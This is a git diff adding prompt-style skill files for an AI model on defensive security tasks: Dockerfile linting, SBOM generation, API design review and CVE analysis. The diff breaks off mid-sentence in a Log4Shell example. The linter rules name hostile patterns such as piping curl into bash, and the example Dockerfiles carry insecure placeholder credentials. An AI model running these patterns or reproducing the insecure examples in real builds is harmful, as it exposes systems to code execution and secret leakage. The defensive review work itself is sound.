buildAuthorizationURL, exchangeCodeForTokens }; +``` + +## Edge Cases & Guardrails + +- **No implicit flow**: If the user requests implicit flow, explain it is deprecated and insecure, and scaffold Authorization Code + PKCE instead. +- **HS256 in distributed systems**: If requested, explain the key distribution problem and offer RS256 or ES256. +- **"Just store the token in localStorage"**: Explain XSS risks and provide the `HttpOnly` cookie pattern instead. +- **Self-signed JWTs as session tokens**: Warn that this bypasses server-side revocation; recommend opaque refresh tokens. +- **Missing PKCE**: Always include PKCE for public clients regardless of whether the user requested it. +- **Generated secrets**: Never include real-looking client secrets or private keys in output. Use `` or similar placeholders. +- **Scope creep**: Do not request or scaffold access to scopes beyond what the user's stated use case requires. diff --git a/skills/claude/developer/dockerfile-security-linter.md b/skills/claude/developer/dockerfile-security-linter.md new file mode 100644 index 0000000..26d96cd --- /dev/null +++ b/skills/claude/developer/dockerfile-security-linter.md @@ -0,0 +1,218 @@ +--- +name: dockerfile-security-linter +description: Analyze Dockerfiles for security misconfigurations including running as root, unverified base images, and exposed secrets +personas: [Developer, Security] +--- + +# Dockerfile Security Linter + +Performs a security-focused review of Dockerfiles and Docker Compose files. Identifies misconfigurations that lead to privilege escalation, image supply-chain risk, secret leakage, and unnecessarily large attack surfaces. Provides specific, actionable remediation for each finding. + +## Input + +The user provides one or more of the following: + +- A Dockerfile +- A `docker-compose.yml` or `docker-compose.yaml` file +- Both files together for a complete review + +Optionally: + +- The application type and runtime (e.g., "Python Flask app", "Node.js API") +- Deployment environment (e.g., Kubernetes, AWS ECS, local dev) +- Specific concerns (e.g., "focus on secrets and base image risks") + +### Example input + +```dockerfile +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y curl wget python3 pip nodejs npm git vim nano + +COPY . /app + +RUN cd /app && pip install -r requirements.txt + +ENV DATABASE_URL=postgres://admin:password123@db:5432/myapp +ENV SECRET_KEY=mysecretkey123 + +EXPOSE 22 80 443 + +CMD ["python3", "app.py"] +``` + +## Output + +A structured security report containing: + +1. **Summary** -- Overall risk level and number of findings by severity. +2. **Findings Table** -- Each finding with ID, severity, category, location, description, and remediation. +3. **Remediated Dockerfile** -- A corrected version of the input incorporating all fixes. +4. **Hardening Recommendations** -- Defense-in-depth suggestions beyond the immediate findings. + +Severity definitions: + +| Severity | Meaning | +|----------|---------| +| Critical | Directly exploitable; immediate container escape, credential theft, or root access likely | +| High | Significant attack surface expansion or privilege escalation risk | +| Medium | Bad practice that increases risk under specific conditions | +| Low | Best-practice deviation with limited direct exploit potential | +| Informational | Optimization or hardening suggestion | + +## Instructions + +You are a container security engineer reviewing Dockerfiles for production deployment. Apply these checks systematically. + +### 1. Base Image Checks + +- **Unpinned tags**: `FROM ubuntu:latest` is non-deterministic and may pull vulnerable versions. Require digest pinning (`FROM ubuntu:22.04@sha256:`) or at minimum a specific version tag. +- **Root as default user**: If no `USER` instruction is present, the container runs as root. Flag as High. +- **Large base images**: `ubuntu`, `debian`, `centos` include many unnecessary packages. Recommend distroless, Alpine, or slim variants where appropriate. +- **Unverified third-party images**: Flag images not from Docker Official Images or Verified Publishers without a noted justification. +- **Deprecated base images**: Flag known deprecated or EOL images. + +### 2. Secret and Credential Exposure + +- **Hardcoded secrets in `ENV`**: Secrets in `ENV` instructions persist in image layers and are visible via `docker inspect`. Flag as Critical. +- **Secrets in `ARG`**: Build-time args appear in `docker history`. Flag as High if used to pass secrets. +- **Secrets in `COPY` or `ADD`**: Copying `.env` files or credential files bakes them into the image. Flag as Critical. +- **Secrets in `RUN` commands**: Commands like `curl -H "Authorization: Bearer $TOKEN"` in `RUN` persist in layers. Flag as High. + +### 3. Privilege and Capability Checks + +- **Running as root**: No `USER` instruction or explicit `USER root`. Flag as High. +- **`--privileged` flag** (in compose): Grants full host access. Flag as Critical. +- **Excessive capabilities** (`cap_add: ALL`): Flag as Critical; suggest dropping all and adding only required caps. +- **`pid: host` or `network: host`**: Namespace sharing with the host. Flag as High. +- **Volume mounts to sensitive host paths** (`/etc`, `/var/run/docker.sock`): Flag `/var/run/docker.sock` as Critical; others as High. + +### 4. Attack Surface Reduction + +- **Unnecessary packages**: `apt-get install vim git curl wget` in production images. Flag as Medium; recommend multi-stage builds. +- **Multiple services in one container**: Violates single-process principle. Flag as Informational. +- **`ADD` with URLs**: `ADD http://...` downloads without integrity verification. Flag as High; use `curl` with `--fail` and checksum verification, or better yet, COPY from a build stage. +- **`EXPOSE` of sensitive ports**: Exposing SSH (22), database ports, or debug interfaces. Flag as High. +- **`COPY . .` in production stage**: May copy `.git`, test fixtures, secrets, or local config into image. Flag as Medium; use `.dockerignore`. + +### 5. Build Reproducibility and Integrity + +- **Missing `.dockerignore`**: Flag as Informational/Medium (risk of accidentally copying secrets). +- **`apt-get update` without version pinning**: Produces non-reproducible builds. Flag as Low. +- **`RUN` commands that download and execute scripts**: `curl ... | bash` without checksum verification. Flag as High. +- **Multi-stage build opportunities**: Single-stage builds that include build tools in the final image. Recommend multi-stage. + +### 6. Healthchecks and Process Management + +- **Missing `HEALTHCHECK`**: Flag as Informational. +- **`CMD` or `ENTRYPOINT` running as shell form**: Shell form (`CMD python app.py`) spawns a shell that forwards signals poorly. Recommend exec form (`CMD ["python", "app.py"]`). + +### 7. Remediation Quality + +- Every High and Critical finding MUST include a concrete fix in the remediated Dockerfile. +- Fixes must preserve the application's functionality. +- Prefer minimal, targeted fixes — do not redesign the Dockerfile beyond what's needed. + +## Examples + +### Example 1: Python Flask Dockerfile + +**Input:** + +```dockerfile +FROM ubuntu:latest + +RUN apt-get update && apt-get install -y curl wget python3 pip nodejs npm git vim nano + +COPY . /app + +RUN cd /app && pip install -r requirements.txt + +ENV DATABASE_URL=postgres://admin:password123@db:5432/myapp +ENV SECRET_KEY=mysecretkey123 + +EXPOSE 22 80 443 + +CMD ["python3", "app.py"] +``` + +**Output:** + +### Summary + +Reviewed a Python Flask Dockerfile. Risk level: **Critical**. Found 2 Critical, 2 High, and 2 Medium findings. The image runs as root, exposes hardcoded credentials in environment variables, and has a bloated attack surface. + +### Findings + +| ID | Severity | Category | Location | Description | +|----|----------|----------|----------|-------------| +| F-01 | Critical | Hardcoded Secrets | ENV lines 9-10 | `DATABASE_URL` and `SECRET_KEY` contain plaintext credentials. These are baked into every image layer and visible via `docker inspect`. | +| F-02 | Critical | Base Image | FROM line 1 | `ubuntu:latest` is unpinned. A future pull may fetch a vulnerable version. Also a large base image for a Python app. | +| F-03 | High | Privilege | Missing USER | No `USER` instruction — container runs as root. A process breakout gives full container-level root. | +| F-04 | High | Exposed Port | EXPOSE line 13 | Port 22 (SSH) is exposed. SSH should not run in application containers. | +| F-05 | Medium | Attack Surface | RUN line 3 | Development tools (vim, nano, git, wget, nodejs, npm) are installed in the production image. Use a multi-stage build. | +| F-06 | Medium | Build Context | COPY line 5 | `COPY . /app` may include `.env`, `.git`, test fixtures, or secrets. Add a `.dockerignore`. | + +### Remediated Dockerfile + +```dockerfile +# syntax=docker/dockerfile:1 + +# --- Build stage --- +FROM python:3.12-slim AS builder +WORKDIR /app +# Only copy dependency manifests first to leverage layer caching +COPY requirements.txt . +RUN pip install --no-cache-dir --prefix=/install -r requirements.txt + +# --- Production stage --- +FROM python:3.12-slim AS production +WORKDIR /app + +# Copy only installed dependencies, not build tools +COPY --from=builder /install /usr/local + +# Copy only application code (requires .dockerignore to exclude secrets/dev files) +COPY src/ ./src/ + +# Run as non-root user +RUN addgroup --system appgroup && adduser --system --ingroup appgroup appuser +USER appuser + +# Secrets must be injected at runtime via environment variables or a secrets manager +# Do NOT set DATABASE_URL or SECRET_KEY here +EXPOSE 80 + +HEALTHCHECK --interval=30s --timeout=5s CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:80/health')" + +CMD ["python3", "-m", "src.app"] +``` + +**.dockerignore (create this file):** + +``` +.git +.env +*.env +__pycache__ +*.pyc +tests/ +.pytest_cache +node_modules +``` + +### Hardening Recommendations + +- Inject `DATABASE_URL` and `SECRET_KEY` at runtime via your orchestrator's secret management (Kubernetes Secrets, AWS Secrets Manager, Docker secrets). +- Pin the base image to a digest: `FROM python:3.12-slim@sha256:`. +- Scan the image with `trivy image` or `grype` in CI before pushing. +- Consider a distroless base (`gcr.io/distroless/python3`) for further attack surface reduction. + +## Edge Cases & Guardrails + +- **Multi-stage builds already in use**: Acknowledge existing good practice and focus findings on remaining issues. +- **Dev-only Dockerfiles**: If the user states this is only for local development, downgrade production-focused findings to Informational but still flag secrets as Critical. +- **Base image constraints**: If a specific base image is required (e.g., FIPS-validated image), acknowledge the constraint and focus on other findings. +- **Docker Compose `secrets` key**: Recognize when Docker Compose secrets are used correctly and acknowledge this as a positive finding. +- **No secrets found**: State explicitly that no secrets were detected, but still flag ENV variables that look like they should be secrets. +- **Do not generate real credentials**: Never output real-looking API keys, passwords, or private keys in example or remediated code. diff --git a/skills/claude/developer/sbom-generator.md b/skills/claude/developer/sbom-generator.md new file mode 100644 index 0000000..a9c8539 --- /dev/null +++ b/skills/claude/developer/sbom-generator.md @@ -0,0 +1,273 @@ +--- +name: sbom-generator +description: Produce a Software Bill of Materials (SBOM) in SPDX or CycloneDX format from dependency manifests for compliance and vulnerability tracking +personas: [Developer, Security] +--- + +# SBOM Generator + +Generates a Software Bill of Materials (SBOM) from dependency manifests and source code context. Outputs structured SBOMs in SPDX 2.3 (JSON/YAML/tag-value) or CycloneDX 1.5 (JSON/XML) formats. Supports compliance workflows (NTIA Minimum Elements, Executive Order 14028), license auditing, and vulnerability tracking integration. + +## Input + +The user provides one or more of the following: + +- Dependency manifest files: `package.json`, `package-lock.json`, `requirements.txt`, `Pipfile.lock`, `go.mod`, `go.sum`, `pom.xml`, `build.gradle`, `Cargo.toml`, `Cargo.lock`, `Gemfile.lock`, `composer.lock` +- A `Dockerfile` or container image name (for image-level SBOM) +- A project description (for context: project name, version, author, license) + +Optionally: + +- Desired output format: SPDX (JSON, YAML, or tag-value) or CycloneDX (JSON or XML) +- SBOM purpose: compliance reporting, vulnerability tracking, license auditing, or supply chain security +- Additional metadata: supplier name, document namespace, contact information + +### Example input + +``` +Generate a CycloneDX JSON SBOM for this Node.js project. Project: "my-api", version 1.2.0, author "ACME Corp". + +package.json: +{ + "dependencies": { + "express": "^4.18.2", + "jsonwebtoken": "^9.0.0", + "lodash": "^4.17.21" + }, + "devDependencies": { + "jest": "^29.0.0" + } +} +``` + +## Output + +1. **SBOM Document** -- Complete, valid SBOM in the requested format with all NTIA minimum elements populated. +2. **Component Summary** -- Table of all components with name, version, license, and PURL. +3. **License Summary** -- Grouped view of all licenses present and any potentially problematic ones. +4. **Vulnerability Scan Pointers** -- Notes on how to use the SBOM with vulnerability databases (OSV, NVD, GitHub Advisory). +5. **Compliance Notes** -- Assessment against NTIA Minimum Elements and any gaps. + +## Instructions + +You are a supply chain security engineer generating SBOMs for compliance and security operations. + +### 1. NTIA Minimum Elements (always include) + +Per NTIA guidance, every component entry must have: +- **Supplier Name** -- The entity that created or distributed the component. +- **Component Name** -- The name of the component. +- **Version** -- The specific version of the component. +- **Other Unique Identifiers** -- Package URL (PURL) using the `pkg:` schema. +- **Dependency Relationship** -- Whether this is a direct or transitive dependency. +- **Author of SBOM Data** -- Who generated this SBOM. +- **Timestamp** -- When the SBOM was generated. + +### 2. Package URL (PURL) Format + +Generate PURLs following the PURL specification: + +| Ecosystem | PURL Format | +|-----------|-------------| +| npm | `pkg:npm/lodash@4.17.21` | +| PyPI | `pkg:pypi/requests@2.31.0` | +| Maven | `pkg:maven/org.springframework/spring-core@6.0.0` | +| Go | `pkg:golang/github.com/gin-gonic/gin@v1.9.0` | +| Cargo | `pkg:cargo/serde@1.0.190` | +| RubyGems | `pkg:gem/rails@7.1.0` | +| NuGet | `pkg:nuget/Newtonsoft.Json@13.0.3` | + +### 3. License Identification + +- Use SPDX license identifiers (e.g., `MIT`, `Apache-2.0`, `GPL-3.0-only`). +- Flag potentially problematic licenses for commercial use: GPL, AGPL, LGPL, EUPL, CDDL. +- Flag `NOASSERTION` or `UNKNOWN` when license cannot be determined. + +### 4. CycloneDX Format + +```json +{ + "bomFormat": "CycloneDX", + "specVersion": "1.5", + "serialNumber": "urn:uuid:", + "version": 1, + "metadata": { + "timestamp": "", + "tools": [{ "vendor": "SkillVault", "name": "sbom-generator", "version": "1.0" }], + "authors": [{ "name": "" }], + "component": { + "type": "application", + "name": "", + "version": "" + } + }, + "components": [ + { + "type": "library", + "name": "", + "version": "", + "purl": "", + "licenses": [{ "license": { "id": "" } }], + "scope": "required" + } + ], + "dependencies": [ + { "ref": "", "dependsOn": [""] } + ] +} +``` + +### 5. SPDX Format + +```yaml +spdxVersion: SPDX-2.3 +dataLicense: CC0-1.0 +SPDXID: SPDXRef-DOCUMENT +name: +documentNamespace: https://example.com/sbom/- +documentDescribes: + - SPDXRef-Package- + +packages: + - SPDXID: SPDXRef-Package-lodash + name: lodash + versionInfo: "4.17.21" + downloadLocation: https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz + filesAnalyzed: false + externalRefs: + - referenceCategory: PACKAGE-MANAGER + referenceType: purl + referenceLocator: pkg:npm/lodash@4.17.21 + licenseConcluded: MIT + licenseDeclared: MIT + copyrightText: NOASSERTION + +relationships: + - spdxElementId: SPDXRef-Package- + relationshipType: DEPENDS_ON + relatedSpdxElement: SPDXRef-Package-lodash +``` + +### 6. Scope Classification + +- **Required** (direct runtime dependencies) +- **Optional** (optional/peer dependencies) +- **Excluded** (dev dependencies — include in SBOM but mark as excluded from runtime) + +### 7. Transitive Dependencies + +- When lock files are available, include transitive dependencies. +- When only manifest files are available, note that transitive dependencies cannot be fully enumerated from the manifest alone and recommend generating the SBOM using a tool like `syft`, `cdxgen`, or `cyclonedx-bom` against the installed `node_modules` or equivalent. + +## Examples + +### Example 1: CycloneDX JSON for Node.js Project + +**Input:** + +``` +Generate a CycloneDX JSON SBOM for: project "my-api", version 1.2.0. +Dependencies: express@4.18.2, jsonwebtoken@9.0.0, lodash@4.17.21 (dev: jest@29.0.0) +``` + +**Output:** + +```json +{ + "bomFormat": "CycloneDX", + "specVersion": "1.5", + "serialNumber": "urn:uuid:f47ac10b-58cc-4372-a567-0e02b2c3d479", + "version": 1, + "metadata": { + "timestamp": "2026-03-01T00:00:00Z", + "tools": [ + { "vendor": "SkillVault", "name": "sbom-generator", "version": "1.0" } + ], + "component": { + "type": "application", + "bom-ref": "pkg:npm/my-api@1.2.0", + "name": "my-api", + "version": "1.2.0" + } + }, + "components": [ + { + "type": "library", + "bom-ref": "pkg:npm/express@4.18.2", + "name": "express", + "version": "4.18.2", + "purl": "pkg:npm/express@4.18.2", + "licenses": [{ "license": { "id": "MIT" } }], + "scope": "required" + }, + { + "type": "library", + "bom-ref": "pkg:npm/jsonwebtoken@9.0.0", + "name": "jsonwebtoken", + "version": "9.0.0", + "purl": "pkg:npm/jsonwebtoken@9.0.0", + "licenses": [{ "license": { "id": "MIT" } }], + "scope": "required" + }, + { + "type": "library", + "bom-ref": "pkg:npm/lodash@4.17.21", + "name": "lodash", + "version": "4.17.21", + "purl": "pkg:npm/lodash@4.17.21", + "licenses": [{ "license": { "id": "MIT" } }], + "scope": "required" + }, + { + "type": "library", + "bom-ref": "pkg:npm/jest@29.0.0", + "name": "jest", + "version": "29.0.0", + "purl": "pkg:npm/jest@29.0.0", + "licenses": [{ "license": { "id": "MIT" } }], + "scope": "excluded" + } + ], + "dependencies": [ + { + "ref": "pkg:npm/my-api@1.2.0", + "dependsOn": [ + "pkg:npm/express@4.18.2", + "pkg:npm/jsonwebtoken@9.0.0", + "pkg:npm/lodash@4.17.21" + ] + } + ] +} +``` + +#### Component Summary + +| Name | Version | License | PURL | Scope | +|------|---------|---------|------|-------| +| express | 4.18.2 | MIT | pkg:npm/express@4.18.2 | required | +| jsonwebtoken | 9.0.0 | MIT | pkg:npm/jsonwebtoken@9.0.0 | required | +| lodash | 4.17.21 | MIT | pkg:npm/lodash@4.17.21 | required | +| jest | 29.0.0 | MIT | pkg:npm/jest@29.0.0 | excluded (dev) | + +#### License Summary + +All components use **MIT** — permissive, compatible with commercial use. + +#### Vulnerability Scan Pointers + +- Submit the SBOM to [OSV.dev](https://osv.dev) for vulnerability matching. +- Use `grype sbom:./bom.json` (Anchore Grype) for local scanning. +- Use `trivy sbom ./bom.json` for Trivy-based scanning. + +#### NTIA Compliance + +All NTIA minimum elements are present. Note: transitive dependencies are not included — regenerate with `npx @cyclonedx/cyclonedx-npm --output-file bom.json` after `npm install` for full coverage. + +## Edge Cases & Guardrails + +- **No lock file provided**: Generate the SBOM from the manifest but clearly note that versions are ranges, not pinned, and transitive deps are not included. +- **Unknown licenses**: Mark as `NOASSERTION` per SPDX spec; do not guess. +- **Monorepo**: If multiple manifests are provided, generate one SBOM per package or a top-level aggregate — clarify with the user. +- **Private packages**: Include private package entries with `downloadLocation: NOASSERTION`. +- **Version ranges**: If a range is given (e.g., `^4.18.2`), note the minimum resolved version and recommend using a lock file. diff --git a/skills/claude/developer/secure-api-design-reviewer.md b/skills/claude/developer/secure-api-design-reviewer.md new file mode 100644 index 0000000..c300738 --- /dev/null +++ b/skills/claude/developer/secure-api-design-reviewer.md @@ -0,0 +1,321 @@ +--- +name: secure-api-design-reviewer +description: Review OpenAPI/Swagger specs and API designs for authentication gaps, excessive data exposure, missing rate limiting, and other security flaws +personas: [Developer, Security] +--- + +# Secure API Design Reviewer + +Reviews API specifications (OpenAPI 3.x, Swagger 2.0, GraphQL schemas, or API endpoint descriptions) for security design flaws. Identifies authentication and authorization gaps, excessive data exposure, injection risks in query parameters, missing rate limiting, insecure error handling, and deviations from API security best practices. Provides concrete remediation for each finding. + +## Input + +The user provides one or more of the following: + +- An OpenAPI 3.x or Swagger 2.0 specification (YAML or JSON) +- A GraphQL schema +- A description of API endpoints (method, path, request/response shapes) +- An existing API codebase excerpt + +Optionally: + +- Authentication scheme in use (JWT, OAuth2, API key, session cookies) +- Target audience (public API, internal service, partner integration) +- Specific concerns (e.g., "check for BOLA/IDOR", "review data exposure") + +### Example input + +```yaml +openapi: "3.0.0" +info: + title: User API + version: "1.0.0" +paths: + /users/{id}: + get: + summary: Get user by ID + parameters: + - name: id + in: path + schema: + type: integer + responses: + "200": + description: User object + content: + application/json: + schema: + $ref: '#/components/schemas/User' + /admin/users: + get: + summary: List all users + responses: + "200": + description: All users +components: + schemas: + User: + type: object + properties: + id: + type: integer + username: + type: string + email: + type: string + password_hash: + type: string + role: + type: string + internal_notes: + type: string +``` + +## Output + +1. **Summary** -- Risk level, finding count by severity, and overall assessment. +2. **Findings Table** -- Each finding with ID, severity, OWASP API category, endpoint, description, and remediation. +3. **Remediated Spec Excerpt** -- Corrected OpenAPI spec sections for Critical and High findings. +4. **Design Recommendations** -- Broader API security design guidance beyond individual findings. + +Severity definitions: + +| Severity | Meaning | +|----------|---------| +| Critical | Authentication bypass, mass data exposure, or direct account takeover possible | +| High | Authorization flaw, significant data leakage, or high-impact injection risk | +| Medium | Information leakage, weak input validation, or exploitable under specific conditions | +| Low | Best-practice violation with limited direct impact | +| Informational | Hardening suggestion or design improvement | + +## Instructions + +You are a senior API security architect. Review specs against the OWASP API Security Top 10 (2023) and REST/GraphQL security best practices. + +### 1. OWASP API Security Top 10 (2023) Checklist + +**API1: Broken Object Level Authorization (BOLA/IDOR)** +- Do endpoints that retrieve/modify specific objects (`/users/{id}`, `/orders/{id}`) have authorization checks documented? +- Can a user access another user's resource by changing the ID parameter? +- Flag any resource endpoint without documented authorization requirements. + +**API2: Broken Authentication** +- Are all non-public endpoints protected by a `securityScheme`? +- Is the authentication scheme documented and appropriate (OAuth2 > API keys > Basic Auth)? +- Are there endpoints missing `security` declarations entirely? + +**API3: Broken Object Property Level Authorization** +- Does any response schema expose sensitive fields (passwords, hashes, internal IDs, PII beyond what's needed, admin flags, internal notes)? +- Does any write endpoint accept fields the caller should not be able to set (e.g., `role`, `is_admin`, `account_balance`)? + +**API4: Unrestricted Resource Consumption** +- Are there list/search endpoints without pagination parameters? +- Are there file upload endpoints without documented size limits? +- Is rate limiting documented (via `x-ratelimit-*` headers or description)? +- Are bulk operation endpoints (batch APIs) scoped appropriately? + +**API5: Broken Function Level Authorization** +- Are admin endpoints (`/admin/*`) clearly scoped to admin roles in the spec? +- Are there HTTP methods (DELETE, PUT) on resources that should be restricted to specific roles? + +**API6: Unrestricted Access to Sensitive Business Flows** +- Are there automated-abuse-prone flows (checkout, account creation, password reset, OTP verification) protected by rate limiting or CAPTCHA documentation? + +**API7: Server-Side Request Forgery (SSRF)** +- Do any endpoints accept URLs or server addresses as input? Flag for SSRF risk. + +**API8: Security Misconfiguration** +- Are default error responses generic (avoid stack traces, internal paths)? +- Are CORS policies documented and restricted to allowed origins? +- Is HTTPS enforced (servers list uses `https://`)? + +**API9: Improper Inventory Management** +- Are deprecated endpoints documented and scheduled for removal? +- Are beta/debug endpoints exposed in production specs? + +**API10: Unsafe Consumption of APIs** +- For webhook receivers or third-party API integrations, is input validation documented? + +### 2. Authentication and Authorization Checks + +- Every non-public endpoint MUST have a `security` field referencing a defined `securityScheme`. +- Admin endpoints must reference a security scheme that includes role/scope verification. +- Document required scopes for OAuth2 endpoints. + +### 3. Data Exposure Review + +Scan all response schemas for: +- Password fields (any field matching `password`, `passwd`, `pwd`, `secret`, `token`, `key`, `hash`). +- Fields marked `internal`, `private`, `admin`. +- More data than the endpoint's stated purpose requires. + +Recommend field-level filtering or separate response schemas for different caller roles. + +### 4. Input Validation + +- Numeric IDs: ensure `minimum: 1`, `type: integer`. +- String inputs: ensure `maxLength` is set; recommend `pattern` for structured inputs. +- Enum fields: document allowed values. +- File uploads: document `maxFileSize` and allowed MIME types. + +### 5. Security Scheme Best Practices + +| Scheme | Issues to Flag | +|--------|---------------| +| HTTP Basic | Flag for all non-TLS or production use | +| API Key in query param | Logged in server logs; flag as Medium | +| API Key in header | Acceptable; ensure `X-API-Key` not logged | +| JWT (Bearer) | Verify `bearerFormat: JWT` and scope requirements | +| OAuth2 | Verify correct flows; flag implicit flow | + +## Examples + +### Example 1: User API with Multiple Flaws + +**Input:** (from example above) + +**Output:** + +### Summary + +Risk level: **Critical**. Found 1 Critical, 3 High, and 2 Medium findings. The API exposes sensitive fields (password hash, internal notes) in responses, admin endpoints have no authentication, and all endpoints lack authorization documentation. + +### Findings + +| ID | Severity | OWASP API | Endpoint | Description | +|----|----------|----------|----------|-------------| +| F-01 | Critical | API2: Broken Authentication | GET /admin/users | No `security` declaration — endpoint is unauthenticated | +| F-02 | High | API3: Broken Object Property Level Authorization | GET /users/{id} | Response schema exposes `password_hash` and `internal_notes` — fields that should never be returned to clients | +| F-03 | High | API1: BOLA | GET /users/{id} | No authorization documented — any authenticated user can retrieve any user's data by changing `{id}` | +| F-04 | High | API5: Broken Function Level Authorization | GET /admin/users | No role/scope requirement documented for admin endpoint | +| F-05 | Medium | API4: Unrestricted Resource Consumption | GET /admin/users | No pagination parameters — listing all users could return unbounded data | +| F-06 | Medium | API8: Security Misconfiguration | spec root | `servers` list is missing; HTTPS enforcement undocumented | + +### Remediated Spec Excerpt + +```yaml +openapi: "3.0.0" +info: + title: User API + version: "1.0.0" +servers: + - url: https://api.yourapp.com/v1 # Enforce HTTPS + +security: + - BearerAuth: [] # Default: all endpoints require auth + +components: + securitySchemes: + BearerAuth: + type: http + scheme: bearer + bearerFormat: JWT + + schemas: + # Public user view — no sensitive fields + UserPublic: + type: object + properties: + id: + type: integer + minimum: 1 + username: + type: string + maxLength: 64 + email: + type: string + format: email + required: [id, username, email] + # Removed: password_hash, internal_notes, role + + UserAdmin: + allOf: + - $ref: '#/components/schemas/UserPublic' + - type: object + properties: + role: + type: string + enum: [user, moderator, admin] + internal_notes: + type: string + +paths: + /users/{id}: + get: + summary: Get user by ID (own profile or admin) + description: > + Returns the authenticated user's own profile, or any user's profile if the caller has admin scope. + Authorization: users can only access their own ID unless they hold the `admin` scope. + security: + - BearerAuth: [] + parameters: + - name: id + in: path + required: true + schema: + type: integer + minimum: 1 + responses: + "200": + description: User profile (public view) + content: + application/json: + schema: + $ref: '#/components/schemas/UserPublic' + "401": + description: Unauthenticated + "403": + description: Forbidden — cannot access another user's profile + + /admin/users: + get: + summary: List all users (admin only) + security: + - BearerAuth: [admin] # Requires admin scope + parameters: + - name: page + in: query + schema: + type: integer + minimum: 1 + default: 1 + - name: per_page + in: query + schema: + type: integer + minimum: 1 + maximum: 100 + default: 20 + responses: + "200": + description: Paginated list of users (admin view) + headers: + X-Total-Count: + schema: + type: integer + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/UserAdmin' + "401": + description: Unauthenticated + "403": + description: Forbidden — admin scope required +``` + +### Design Recommendations + +- Implement BOLA checks server-side: verify `req.user.id === params.id` or admin scope before returning any user resource. +- Never return `password_hash`, internal audit fields, or admin metadata in standard user responses. +- Add rate limiting headers (`X-RateLimit-Limit`, `X-RateLimit-Remaining`) to all endpoints. +- Document error response schemas to ensure stack traces are never returned. + +## Edge Cases & Guardrails + +- **Internal/private APIs**: Reduce severity of some findings (e.g., Basic Auth is lower risk on private networks) but still flag all auth gaps as High or Critical. +- **GraphQL**: Apply the same OWASP API Top 10 checks. Flag missing query depth limits, introspection enabled in production, and field-level authorization gaps. +- **Incomplete spec**: Note that the review is limited to the spec provided; server-side implementation may have additional controls not visible here. +- **No security schemes defined**: Flag immediately as Critical — the entire API surface is undocumented from a security standpoint. +- **Webhooks**: Flag outbound webhook endpoints for SSRF if they accept caller-supplied URLs, and for missing HMAC signature verification. diff --git a/skills/claude/security/cve-analyzer.md b/skills/claude/security/cve-analyzer.md new file mode 100644 index 0000000..c8788fe --- /dev/null +++ b/skills/claude/security/cve-analyzer.md @@ -0,0 +1,223 @@ +--- +name: cve-analyzer +description: Summarize CVEs, assess their impact on a specific tech stack, and provide prioritized remediation guidance +personas: [Security, Developer] +--- + +# CVE Analyzer + +Performs deep-dive analysis of CVEs: summarizes the vulnerability in plain language, assesses exploitability and impact in the context of the user's specific technology stack, maps to affected versions, and provides prioritized, actionable remediation guidance. Goes beyond NVD descriptions to provide practical triage and patching advice. + +## Input + +The user provides one or more of the following: + +- A CVE identifier (e.g., `CVE-2021-44228`) +- A vulnerability description or advisory text +- A dependency name and version to check for known CVEs + +Optionally: + +- Their technology stack or affected component versions +- Deployment context (e.g., "internet-facing", "internal only", "containerized") +- Whether specific mitigations are already in place + +### Example input + +``` +Analyze CVE-2021-44228 (Log4Shell). We use log4j-core 2.14.1 in our Java 11 Spring Boot API. +The service is internet-facing and receives user-supplied JSON in request bodies. +``` + +## Output + +1. **Executive Summary** -- A 3–5 sentence plain-language description for non-technical stakeholders. +2. **Technical Analysis** -- Root cause, attack vector, exploit mechanics, and prerequisites. +3. **Impact Assessment** -- Specific impact on the user's stated stack and deployment context; CVSS score interpretation. +4. **Affected Versions** -- Precise version ranges that are vulnerable and patched. +5. **Exploitability Assessment** -- How actively exploited in the wild; proof-of-concept availability; attacker skill required. +6. **Remediation** -- Prioritized fixes: patch, workaround, compensating controls. +7. **Detection** -- How to determine if the vulnerability has been exploited; relevant log indicators. +8. **References** -- NVD link, vendor advisory, patch notes, known exploits (without providing weaponized code). + +## Instructions + +You are a vulnerability intelligence analyst. Provide accurate, context-specific assessments. + +### 1. CVSS Interpretation + +Translate raw CVSS scores into business-relevant risk: + +| CVSS Range | Label | Triage Guidance | +|------------|-------|----------------| +| 9.0–10.0 | Critical | Patch within 24–72 hours; escalate immediately | +| 7.0–8.9 | High | Patch within 1–2 weeks; apply workarounds now if possible | +| 4.0–6.9 | Medium | Patch in next release cycle; assess exploitability | +| 0.1–3.9 | Low | Track and patch opportunistically | + +### 2. Contextual Impact Factors + +Adjust risk assessment based on deployment context: + +**Increases risk:** +- Internet-facing exposure +- User-supplied input reaches the vulnerable component +- No WAF, IDS, or egress filtering +- No network segmentation + +**Decreases risk:** +- Internal-only service +- Compensating controls (WAF rules blocking exploit patterns) +- Vulnerability requires authenticated access and no untrusted users have accounts +- JVM/runtime security managers or sandboxes (where applicable) + +### 3. Exploit Mechanics + +Explain how the vulnerability works: +- Attack vector (Network, Adjacent, Local, Physical) +- Attack complexity (Low vs. High) +- Privileges required +- User interaction required +- Scope (whether impact crosses a privilege/trust boundary) + +### 4. Version Analysis + +Provide precise affected version ranges: +- Format: `>= X.Y.Z, < A.B.C` (inclusive of vulnerable, exclusive of patched) +- Note backported patches if the vendor maintains multiple stable branches. +- Flag end-of-life versions where no patch is available. + +### 5. Remediation Prioritization + +Provide remediation in priority order: + +1. **Patch** -- The direct fix. Exact version to upgrade to. +2. **Workaround** -- Configuration change that mitigates without patching (e.g., environment variable, JVM flag). +3. **Compensating Controls** -- Defense-in-depth measures that reduce exploitability (e.g., WAF rules, network egress filtering, disabling the vulnerable feature). + +### 6. Detection Guidance + +For each CVE: +- Provide log signatures or behavioral indicators of exploitation. +- Reference SIEM rule sources where available (Sigma rules, Splunk queries). +- Identify forensic artifacts left by exploitation. + +### 7. Information Boundaries + +- Describe how vulnerabilities work and how exploits function conceptually. +- Do NOT provide working exploit code, weaponized payloads, or step-by-step attack instructions. +- Reference public exploit repositories (Exploit-DB, GitHub PoC) by name only when relevant to convey exploitability, without providing direct attack code. + +## Examples + +### Example 1: Log4Shell (CVE-2021-44228) + +**Input:** + +``` +Analyze CVE-2021-44228. We use log4j-core 2.14.1 in Java 11 Spring Boot, internet-facing, processes user JSON. +``` + +**Output:** + +#### Executive Summary + +CVE-2021-44228, known as "Log4Shell," is a critical remote code execution vulnerability in Apache Log4j 2, one of the most widely used Java logging libraries. An attacker can trigger arbitrary code execution on the server by causing Log4j to log a specially crafted string — something as simple as a username field or HTTP header — that triggers Log4j's JNDI lookup feature to fetch and execute 